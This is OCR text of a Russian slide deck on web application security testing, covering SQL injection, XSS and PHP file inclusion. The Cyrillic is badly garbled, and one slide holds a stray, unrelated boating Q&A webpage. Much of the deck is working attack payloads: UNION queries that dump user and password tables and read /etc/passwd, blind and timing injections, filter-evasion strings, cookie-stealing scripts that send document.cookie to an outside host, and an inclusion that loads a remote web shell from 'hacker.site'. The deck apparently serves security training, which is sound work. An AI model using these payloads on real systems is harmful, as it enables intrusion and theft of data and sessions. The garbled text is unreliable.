TecTnpoBaHue 3alMNLLEHHOCTH.

Bce npouwie yeM KaxeTc4.

Nropb BoHaapeHko. Intetics Co.




3a4eM HYXXHO TeCTUpPOBaAThb
3alUNLLEHHOCTb

90% cauToB onacHbI A nNonb3oBaTerien U NpeacTaBnAOT
yrpo3sy ousHecy.

43% canToB HEe MOryT XpaHUTb KOH(hbnaeHUNanbHyO
nHcdhopmauumio B bl.

80% BebmacTtepoB He OOHOBIAIOT opensource NpPoAyKTbl
BOBpeMsi.

99,9% cautoB, KOTOpPble UMEKT YA3BUMOCTb, UMEIOT eLle
HEeCKONbKO YA3BUMOCTEMN.

48% cepBepoB UMEKOT YA3BUMOCTHU Ha YPOBHE onepaLuoHHON
CUCTEMbI U NPUSIOXKEHUN.




SQL Injection

* BHegpeHne SQL-koga — oanH 13 pacnpocTpaHEHHbIX
cnocoboB B3fioMa canuToB K Nporpamm, padboTtarLwmx ¢
6aszamun gaHHbIX, OCHOBaHHbLIM HA BHEAPEHUN B 3anpocC
nponaeonbHoro SQL-koaa.
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v__hp?id:?ﬁlimiti-m union+select+1,group_concat(0x3¢62723¢,concat_ws(0x207c20,login,password)),3,4+from+users+--+a

for (1 =n; 1< k; i++)

) ‘ A3bIKK 1
wmal StUd|02010 if (lines[i] > max) { max = lines[i]; j = i; }

life-prog.ru !

if (lines[j] - lines[j - 1] >= G5 && lines[j] - line

Bbi MoXeTe Hobasurs InaBmas  Texcrwi crarei Hdobasute ctaten  CTaTHCTHKA

caliT B HaW KaTtanor

fobasuts & nsbpaHHoe dyalex | 9b5d3 d05f096h3p6f,
admin | e388f02f7. da01eb3p6f,
Hporpavmuposanne admins | e388{02f7 da01eb3p6f

® Asbiki
nporpaMMupoBEaHug

* Bugeo vpoxu php
mysql

® Nackans
® Cu




ApXUTeKkTypa ya3smMoctn tuna SQL
Injection

‘ YassumocTb Tuna SQL Injection |

SQL Injection Blind SQL injection
Blind SQL Double-Blind
injection SQL injection




[IpocTenwnm cnocob
0BbHAPYXNUTb YA3BUMOCTb

Job6aBnsiem oaMHapPHYIO KaBbI4YKY K 3anpocy:
* http://www.site.com/?id=1"*

Monyyaem ownbKy TUNA:

« Warning: mysql_fetch_object(): supplied argument is not a
valid MySQL result resource in
/home/mysite/www/htdocs/include/lib/news.php

Nnn

* Bugum Ty XKe camylo CTpPaHULYY YTO U NO CCbIJIKe

http://www.site.com/?id=1




SOA
DAYS [loyeMy Tak npoucxoamnT?

query =
"SELECT * FROM news WHERE id =" +id + ™™

SELECT * FROM news WHERE id ="'1"




Kakue ewe ectb cnocobobl
NpoOBEepKn?

* Vlcnonb3oBaHue NPOCTbIX apndPMeTUYecknx onepauumn B

3aripoce.
« Site.com/index.php?id=2-1(BbiBognT CTpaHuyy 1)
« site.com/index.php?id=1*2(BbiBOANT CTpaHuuy 2)
« site.com/index.php?id=1+and+1=1(BbiBognTt cCTpaHuyy 1)

* Vcnonb3oBaHue COPTUPOBKKN B 3alpoce.
« site.com/index.php?showthread=285+0ORDER+BY+1--+

* [logcTtaHoBKa beccMbICIIEHHON MHGOPMaLUNK B 3arpoc
« Site.com/index.php?id=1 anything (BbiBoAnT coobLujeHne o6 omnbke)




KakK 3TUM MNosib30BaTbCA?

/?1d=1" UNION SELECT user,password FROM users--

SELECT title,text FROM news WHERE id = "1

SELECT title,text FROM news WHERE id ='1'
UNION
SELECT user,password FROM users




Blind SQL injection

° TeCTI/IpOBaHI/Ie NCTUHHbIX N JNTOXHbIX 3alpPOCOB:
« site.com/index.php?id=2"AND '1" = '1"--
« site.com/index.php?id=2"AND '1'='2"--

* BbiBOO MHOpMaLun B oT4eTe 00 olumnbkax:

« site.com/index.php?id=2" OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --

Duplicate entry '5.0.45" for key 1




Double-blind injection

* [TocMMBOIbHbLIN NEPEBOP C NMOMOLLbIO
Benchmark:

« site.com/index.php?id=2" OR id=
IF(ASCII(SUBSTRING((SELECT USER()), 1,
1)))>=100, 1,
BENCHMARK(2999999,MD5(NOW()))) -

» Cnocob HaBpeaunTb cepBepy bl
« site.com/index.php?id=2"AND
BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))




Ha 4uTo ewe obpaliaTb
BHUMAHue?

http://www.google.com/search?g=inurl:select+inurl:%2520+inurl:from+inurl:whe
re

\ 6 P || & q:f; http://www.safetyseal.net/pub_QandA.asp?sql=Select+*+from+pubQandA+where+ OKtoView+ %3D+1+ Order+ by+ DatePosted+ Desc8tstartwith=20 )
NN/ A =4

We will display questions received from our visitors in this section. If you are a member of the Auxiliary and have questions, please ask them in the Member's Q&A area.

A FEW RULES: No questions are made public until they have been researched and we have an answer, so if you are just posting SPAM or any form of junk advertising, it will be de
answer questions relating to federal requirements for recreational boats. Requirements that are state or local are best answered by the state or local agency, since we have no corr
cannot answer questions about requirements for commercial vessels and Uninspected Passenger Vesselss as they are not under our program for recreational boats.

Do not ask a question if it is already in our database. First search our database to see if we have already received and responded to a similar question from anothe
Click Here and search with the key words that may be found in your question.

To ask a question not found in our database, Click Here and if it is germane to the subject as listed under the rules, and we can come up with an answer, it will be posted.

UPV Inspection , posted: 10/9/2007

Question: | understand it is possible to have a VSC done for a boat. However | am considering starting a charter business is there saftey checks other than this that ¢
6 paid passengers but | was wondering if the coast guard still will do inspections of my boat or if it is necessary. Chicago, IL. Thanks.

Answer: Specially trained members of the Coast Guard including some Auxiliarists do perform what is called a "Uninspected Passenger Vessel” (UPV) inspection. C
business hours at: 630-986-2155 for more information.
George R Bores, BC-VTR




[TpakTunKa,

nnn SQL Injection rnaszamMu 3/710yMblLUNIEHHUKA

OnpepeneHne Tuna 6a3sbl JaHHbIX

[lpoBepKa npaB nonb3oBaTens Ha 3anucb
doannos

[Tonbop kKonnyecTBa CTONOLIOB

OnpepgeneHne BbiBOAA Ha 3KpaH
[Tony4eHne nHopmaymm o Tabnmuax

[TonyyeHne nHdopmaLmm o KOSTIOHKax B
Tpebyemon Tabnuue

[Nony4yeHne gaHHbIX U3 Tabnuubl 1 BbIBOA Ha
9KpaH




SOA
DAYS OWKnBbKM XapaKTepHble A8 pa3HbIX

BMAoOB 6a3 AAHHbIX

bird

PyHKUUN: [Microsoft][ODB [Microsoft][ODB ibase_query() ORA-01756
pg_exec() C Microsoft C SQL Server ibase_fetch_obj (A BooGLe
pg_numrows() Access Driver] Driver] ect() Bcsikue ORA)

nnm

Microsoft JET

Database

Engine error

Sybase error
sybase_query()
sybase_num_ro
ws()




[Tonbop KonmyecTBa
cToN16L,0B

1. NMpocTon nepebop
oorycmum y Hac ecmb calm ¢ UHbeKyueu:

www.site.com/index.php?id=1"
BbinonHaem Takou 3anpoc

www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 --

ecnu nosisunacb owubka, mo yeenudyueaeM Kosiu4ecmeo KOJIOHOK Ha
OO0HY

www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 --

U mak rnoka He uc4esHem owubka u nosseumcsi nycmasi cmpaHuua




2. Onepatop ORDER BY

www.site.com/index.php?id=-1+order+by+1--
owubku Hem, 3Ha4um cmosnbuyos 1 unu 6onbwe 1

www.site.com/index.php?id=-1+order+by+9999--
doJmKkHa nosseumcsi owubka, 3Havum cmosibuyoe meHbwe 9999

Lanee nodbupaem makum obpa3omM rpasusibHOe Koru4ecmaeo, rnpedrnoroxum 8
Hawem criydae 4 cmonbua, moada:

www.site.com/index.php?id=-1+order+by+4--
(owubku He bydem)
www.site.com/index.php?id=-1+order+by+5--
(owubka ecmb)




SOA
DAYS OnpeaeneHne BbIBOAA

ﬂpednonomum MbI I'IOGO6,D&U7LI Kosiu4ecmaeo cmoribuyoe U ux okasasiochb 4

www.site.com/index.php?id=-1+union+select+null,null,null,null

Tenepb Hac UHMepecyem 8 Kakol Yacmu cmpaHUUbl, Kakasi KOrloHKa
gbieooumcs. [ns amoa2o nodcmasumMm emecmo 00Ho20 u3 null —
rpou360sibHbIU Habop cumeorsios, 8 Hawem criydae «111»

www.site.com/index.php?id=-1+union+select+null,111,null,null--




[Tony4yaeM nHdpopmauunto o
BEpPCUMN U NOJib30oBaTene

Lna nony4dyeHus uHghopmayuu 0 meKkyuemM rnosfb3osamersie Ucrosib3yemcs
yHKUUS user()

www.site.com/index.php?id=-1+union+select+null,user(),null,null--

Lns onpedeneHus eepcuu ucronb3yemcsi QpyHKUuUs version()

www.site.com/index.php?id=-1+union+select+null,user(),null,null--




SOA y
DAYS YTeHne 1 3anmcb annios

llposepka 803MOXXHOCMU YMmeHusi/3anucu ¢gaursos:

www.site.com/index.php?id=-1+union+select+null,file priv,null,null+uni
on+select+file _priv+from+mysql.user+where+user=
‘YUSERNAME% -

UmeHue pauna

www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+
union+select+
union+select+LOAD _FILE(/etc/passwd’)+from+mysql.user--




Y3HaeM Tabnuubl

Ans nonyyeHusi uHghopmayuu o mabrnuyax u KOsIOHKax Heo6xo0umo
obpamumbcs k cnyxxebHou mabnuue Information_schema

www.site.com/index.php?id=-1+union+select+null, TABLE _NAME,null,;n
ull+from+INFO RMATION_SCHEMA.TABLES--

Takum 3anpocomM Mbl y3Haém nepeayro mabauyy, HoO HamM Hado y3Hamb
u dpyaue

www.site.com/index.php?id=-1+union+select+null, TABLE _NAME,null,n
ull+from+INFO
RMATION _SCHEMA.TABLES+LIMIT+1+OFFSET+1--




[Tony4yaeM nHdpopmauunto o
KOJTOHKaX

[epebpas mabruubl, onpedernsemM my Komopas Ham bydem uHmepecHa.
[lycmb amo 6ydem USER, ymo mpebyemcs 0nis nosy4yeHUss uHgopmauuu
O KOJTOHKax:

www.site.com/index.php?id=-1+union+select+null, COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS--

Takum 0bpfaom MbI 8bI800UM Ha38aHUST KOJTOHOK ecex mabnuy. Ho Ham
Hado y3Hamb UMeHa KOJIOHOK UMeHHO 8 mabnuye USER
UN3meHssiem HeMHO20 Hauwl 3arnpoc 0obaeriss e Heeo ornepamop WHERE:

www.site.com/index.php?id=-1+union+select+null, COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS+where+TABLE NAME='user'--

[Nosseumcsi umsi nepeol KorioHKU 8 mabrnuue user u danee 0obaerisisi
LIMIT+OFFSET y3Haém ece KOJTOHKU.




OunbTpaunga KaBblyek

Yalle Bcero, npoaenas AeNCTBUS onucaHHble Ha npeablayllem cnange, Bbl
YBUAONTE OLLINOKY:

ERROR: syntax error at or near "user" at character 122

http://www.paulschou.com/tools/xlate/

www.site.com/index.php?id=-1+union+select+null, COLUMN_NAME .null.null+from+INF
ORMATION SCHEMA.COLUMNS+where+TABLE NAME=chr(117)| |chr(115)||chr(1

01)||chr(114)--




OunbTpaunga KaBblyek

BTOpOVI cnocob: ncnonb3oBaHUE BNOXEHHOIO noa3arpoca

www.site.com/index.php?id=-1+union+select+nul COLUMN NAME.nul
|,null+from+INF_ORMATION SCHEMA.COLUMNS+where+TABLE
NAME=(select+TABLE NAME+FROM+INFORMATION SCHEMA
. TABLES+limit+1+offset+1)--




dunbTaumns npobesios

B cnyvae cdounetpaunmn npobenos CyLLEeCTBYIOT criegyowmin cnocodbbl obxoaa
douneTpa:
cnonb3oBaHne NpoberibHbIX CUMBOSOB «/*1*/» n «/**/»
SELECT * FROM news WHERE
id="1"**/UNION/**/SELECT/**/1,2,3,4,5,6/** IFROM/**/Users/**IWHERE/**/login="admi
n'#
Nnu
SELECT * FROM news WHERE
id="1"/*TUNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login="admin"*/#'
cnonb3oBaHMe CMMBOSIOB Tabynauumm:
%09 — Tabynsauus
%0A — cnmBon HOBOW CTpoKa
%0D — Bo3BpaT KapeTku
%0B — BepTukaneHaga Tabynauus
%0C — cMMBO HOBOW CTpaHuLbl

http://xxx/news.php?id=1'"%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%
0 OWHERE%09Ilogin="admin'#




[Mony4yeHune MHPopMaumm n3 Tabnuubl

Cocmaerisiem 3aripoc.

www.site.com/index.php?id=-1+union+select+null,username.null.null+from+use
k

OH 8038pamum HaMm 8 OaHHOM CJlydae UMSI 110/1b308amerisi
Mo)xHO 06BeduHsImb 2 u 60s1ee KOJIOHKU pa30erisisi Ux crney CUM8OJIOM

www.site.com/index.php?id=-1+union+select+null.usernamellchr(58)|lemail.null
_null+from+user--

Mol yBuaum 3anucb Tuna Login:email




YA3BMMOCTb B CKpUMTE aBTOpM3aLINm

lMone esoda umeHU nosib3o8amerisi:
« Username’--

None BBOoAa napons:
« 123' OR login="Admin' —
c %




[leMoHcTpaunsa npumepos




SOA [porpaMMbl anst paboThbl C
MHBbEKLMSMY

DAYS

« SQL InjectMe — nnarnH gna Firefox
* Absinthe — ytunurta ansg nposegeHunsa atak tuna SQL Injection
» SQL checker — aHanmnsatop Bo3aMOXHOCTU BHeapeHusa SQL koaa




XSS (Cross Site Scripting — «MeXCanToBbI CKPUNTUHI» ) — TUM

YA3BMMOCTUN UHTEPAKTUBHbBIX MHGOPMAaLMOHHBIX CUCTEM B BeDE.
XSS BO3HMKAET, Korga B reHepupyemMble CEpBEPOM CTpaHULbI MO
KaKOW-TO NpMYnHE nonagatoT rnosrib3oBaTeNbCKNe CKPUMTHI.




XSS

5 AT VAN |~ AR g e
twnhker B 89 20 ? LR T i
3 & C8 n \ : B \TY 4 | o ,:,: ‘

-

hehe...:) - RT @ N
http://twitter.com

/RainbowTwtr# @"onmouseover="javas
cript:alert('CSIS');"/

-

>

page at httpsy//twitter.com says:




XSS

BbINOMHUTDL «4y>XepoaHbIn» JavaScript-kog B 6pay3epe KINEHTa,
KOorga OH HaxoAUTCS Ha aTaKyeMoM cauTe

Kak aTo cgenaTtb?

BHeapuTb Kyaa-HMbyab dparMeHT Koga Tmna
<script>...</script>
<a onmouseover=",.."/>
<img src="javascript:..."/>




Knaccnpumnkaumsa XSS

o AKTUBHbIN XSS

— BHeapeHHbI CKPUNT COXPAHSAETCA B CUCTEME U CTAHOBUTCS AOCTYMEH
AN BblBOAA APYrMM MOJSib30BaTENAM

 [laccuBHbIN XSS

— CkpunT nepepaetcd cucrteMe B napameTtpax HTTP-3anpoca ¢
nocneaywwmm nx sbiBogoM B HTML-cTpaHuuy.




YeM Mbl puckyem?

Kpaxa Cookies

var img = new Image();
img.src = 'http://site/xss.php?' + document.cookie;

Kpax(a ayTeHTMCbMKaLIMOHHbIX AdHHbIX
— pobaeneHne obpaboTumka cobbiTna onsubmit K cylwecTeyroLen

dopme
— pobasneHne popMbl C NpocbObOM BBECTU Maposib

HEPEHaﬂpaBHEHMe nosfib3oBaTtesiad Ha CTPpaHUUbl 3JTOYyMbILWIIeHHUKOB

DDOS aTaku




MeToa obHapy>XeHus

[?id="><script>alert(1)</script>

HTML - kog cTpaHuubl NPUMET BUA
.. <font size = ""><script>alert(1)</script>"...
B pesynsrate 6pay3ep BbINOAHUT CKPUT.




TUNUYHBIN Cny4Yau

Camas pacnpocTpaHeHHas pasHOBMOHOCTb XSS:
"><script>alert()</script>

Bca cyTtb B ">

[Tocne pobaerneHust kK popme "><script>alert()</script> kakon-To
nepemMeHHoOn npmuceanBaeTcya 3HadeHune nong. [lepemeHHas
obpabartbiBaeTcs, "> 3akpbiBaeT
CKpUNT U BbINONHAET <script>alert()</script>




D http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname= <script> alert(/xss/) < /script> 8&docid="> <script> alert(/xss/) < /script>




OunbTpbl: onpeanensem
Han4yme n Ka4vyectBo

B nto6oe none seBoanm NpoBepoYHyto cTpoky: ";1--"<XSSTEST>=&{()}
Hanee oTkpbiBaem HTML cTpaHuubl, nwem crnoso "XSSTEST"
N CMOTPMM Ha npwuneraroume K HeMy CUMBOJTbI.

Ecnn cumBonbl <> octanucb — 3TO NepBbIN MPU3HAK HaNMM4ns ya3BMMOCTH
Ecnu cumBonsl ,"'\ ocTanucb Takumu, Kak 6b1nn BBeAeHbl — 3TO BTOPOU
NPU3HaK ya3BMMOCTU (BO3MOXXHO MUCMNONb30BaHNE OOMOSTHUTENbHbIX
CUMBOJOB B rnocriegyrowen XSS arake)

Ecnu B HTML, Bbl He OGHaAPYXKUNK <> - 3TO NPU3HAK OTCYTCTBUA
JouneTpaumn.

Ecnu otkpbiB HTML Bbl 0O6HapyXunu, 4to <> 3aMeHeHbI Ha apyrue
CUMBOIbI — PUINBTP PYHKLUNOHUPYET HOPManbHO.




[TpaKTUKa

« [onycTtum punsTp sKpaHupyeT <>
B aTOM cny4ae cyllecTByeT BeposATHOCTb 00xoaa cdmnbrpa.

K npumepy, unbsTp HAaCTPOEH Ha yaarneHue <script>,<>u .

[1na npoBepKn UCMONb3yemM KOHCTPYKUMIO TUna <testxssd555> n nposepsiem,
ecnn uneTp He yaanun 3anncb - MOXXHO COCTaBUTb XSS-CKPUNT.

K npumepy BOT Tak:

<sc<script>ript>alert()</sc</script>ript>




ABT03aKprBaI-0LI.|,VIECF| CKOOKM:

>>>><<script

6bIBaeT, 4ToO CbVIJ'Ipr noACHUTbIBAET OTKPbIBalOWMNECA N 3aKpbiBalOLWMNECH
CKOOKU " 3aKpbiBae€T CaM.

ABT03aKprTMe TeroB.:

bBbiBaeT 4TO PUNLTP OOMNOMNHAET CKPUNT, K NpUMepy BOT 3TUM :© >

http://site.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();

PuneTp NnposBepseT, 4To HMYero onacHoro B <IMG%20SRC="javascript:alert();
HeT, 3aKpbIBAET TEr N TEM CaMbIM BbINOMHAET BPE4OHOCHbIN CKPUMT.




Kpaxa Cookies

[10 3TOrO MbI paccMaTtpuBann CKpuUnTtbl TUNA.

<script>alert (' Test ")</script>
javascript:alert (' Test ')/
javascript:alert(’ Test ')/1.jpg v Tak ganee..

Tenepb paccMOTPUM Crneayowmin CKpUNT:

<script>

img = new Image();

img.src = "http://test.com/s/Hack.qif?"+document.cookie;
</script>

B naHHOM Bunae CKPUNT nepexsaTtblBaeT cookies nonb3oBarens.




KaK BOCMNO/Ib30BAaTbCH 3TUM
CKPUMNTOM?

http://site.ru/free?p="><script>img=new
Image();img.src="http://test.com/s/Hack.qif?"+document.cookie;"+document.cookie;</
script>

http://site.ru/free?p="><script src=http://test.com/script/js.js></script>

[1pn aTOM dpann jS.jS COOEPXKUT:
img=new Image();img.src="http://test.com/s/Hack.qgif?"+document.cookie;
3TOT cnocob bonee HagéXeH.




SOA

DAYS I3MeHeHne KOANPOBKM

http://ha.ckers.org/xss.html

3HavanbHO CKpUNT BbIrnagen Tak:
http://cite.com/test?p="><script src=http://test.com/script/js.js></script>

Mocne:

%68%74%74%70%3A%2F %2F %63%69%74%65%2E%63%6F %6D %2F %74%65
%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72
%63%3D%68%74%74%70%3A%2F %2F % 74%65%73%74%2E%6E%65%74
%2F%73%63%72%69%70%74%2F %6A%73%2E%6A%73%3E%3C%2F %73
%63%72%69%70%74%3E%0A




DDo0S-aTaka

XSS-ya3BMMOCTb Ha MHOFOMOCELLLAEMbIX pecypcax MOXeT ObiTb MCNONb30oBaHa
ans npoeeaeHns DDoS-atakn. CyTb NpocTta — MHOMO 3arnpocoB, KOTOpble
He BblAEPXXMBAET aTakyeMblil cepBep.

Co6CTBEHHO OTHOLLEHNE K XSS nmeeT KOCBEHHOE, NMOCKONMbKY CKPUMThI
MOTYT W HE NCMNONb30BaTbCs BOBCE, AOCTAaTOYHO KOHCTPYKLMM BUAA:

<img src="http://site.com/">




[leMoHcTpaunsa npumepos




MHCTpYMeHTbI N4
obHapyxeHua XSS

« XSSme — apgaoH ansa Firfox
« DOMinator — aHanusatop Hanmuna DOM-based XSS




PHP Injection

PHP Injection nnn cosgaHue Beb wWennoB — 3To0 BTOPOM NO NOMNyNsiPHOCTU
nocre SQL nHbekuun TMn ysa3BUMOCTEMN.




Ya3BUMble PYHKLNN

* Include()

* Require()

« Create function()
» Preg_replace()




Buabl MHKNYO0B

Include ("$page.php”);
. 7>

Bo3moxxeH Remote File Inclusion (RFI)

<?

Include ("files/$page.htm");
. 7>

Bo3moxeH Local File Inclusion (LFI) c ncnonbsoBaHuem Hynn 6anta

<?

Include ("$patch/folder/page.php”);
. 7>

Bo3moxeH RFI npu ycnoBuu cospnanusa ctpyktypbl /[folder/page.php Ha yaaneHHoOm
cepBepe




MeToa onpeneneHuns
VYA3BUMOCTMU

* index.php?page=shop
[MooctaBum dsdsds BmecTto shop:

Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www//page.php on line 3

Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www/page.php on line 3

Warning: main(): Failed opening 'dsdsds.php’ for inclusion
(include_path="../usr/lib/php./usr/local/lib/php:/usr/local/share/pear’) in
/home/user/www/page.php on line 3




Beb wenn

JTO nponcxoanT NoTomy, 4TO KOA CTpaHUUbl MMEET TakoW 3riEMEHT
<?

Include ("$page.php");
7>
Kak aTum Bocnonb3oBaTbCA?

index.php?page=http://hacker.site/shell

[Monyyaem Beb Lwienn, KOTOpbIM JaeT BO3MOXHOCTb UCNOMHATL Nobbie php
KOMaHAbl




Bbixon 3a npeaenbl TeKyLwero
KaTajiora

Apache Tomcat 5 Bepcumn Huxe 5.5.22 n Apache Tomcat 6 Huxe 6.0.10
NoABEP)KEH YA3BUMOCTU MOBOSMAIOLLEN NEPENTU K COOEPKUMOMY
BbILLECTOSALLEN ONPEKTOPUN MYTEM YKasaHMA B MYyTU KOHCTPyKuum "../".




MHCTpYMEHTbI An4
obHapyxeHuns

e Graudit - cemaHTUYECKN-CTAaTUYECKUIN aHannU3aTop Koga
e RIPS - ytunuta gna nonckam yassmumocten B PHP koae




[leMoHcTpaunsa npumepos




Bonpochi?

Email: bondarenko.ihar@yandex.ru
Twitter: @iharbondarenko
Skype: igor.bondarenko1




